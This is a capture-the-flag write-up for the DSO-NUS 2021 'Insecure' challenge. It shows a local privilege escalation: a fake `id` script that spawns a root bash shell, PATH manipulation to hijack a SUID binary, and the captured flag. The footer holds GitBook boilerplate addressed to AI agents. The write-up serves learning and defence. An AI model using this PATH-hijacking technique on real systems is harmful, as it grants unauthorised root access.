> For the complete documentation index, see [llms.txt](https://ctf.zeyu2001.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ctf.zeyu2001.com/2021/dso-nus-ctf/insecure-100.md).

# Insecure (100)

## Problem

Someone once told me that SUID is a bad idea. Could you show me why?

{% file src="/files/FbHD8WTVMndLf3NDGHZR" %}

## Solution

The binary calls the `id` command three times, first without privileges, then as root, then again without privileges.

Since the SUID flag is set, we can manipulate the PATH variable to execute arbitrary code when `id` is called. The goal is to read the `flag.txt` file which requires root access. Thus, we need to spawn a shell as root.

The following bash script will only spawn the shell if the caller is root.

```bash
if [ `/bin/id -u` = "0" ]; then 
    echo "I am root" && /bin/bash
else 
    echo "I am not root"
fi
```

Translating this into a one liner and creating our malicious `id` payload:

```bash
$ echo "if [ \`/bin/id -u\` = \"0\" ]; then echo \"I am root\" && /bin/bash; else echo \"I am not root\"; fi" > id
```

PATH variable manipulation:

```bash
$ cd /tmp
$ echo "if [ \`/bin/id -u\` = \"0\" ]; then echo \"I am root\" && /bin/bash; else echo \"I am not root\"; fi" > id
$ chmod 777 id
$ export PATH=/tmp:$PATH
```

After running `insecure`, we obtain a root shell:

```bash
I am not root
I am root

$ cat /flag.txt
DSO-NUS{b4fcfe57b8d2b05ff3310c663a0497b1026cf039baeee18669957152cdc276da}
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ctf.zeyu2001.com/2021/dso-nus-ctf/insecure-100.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
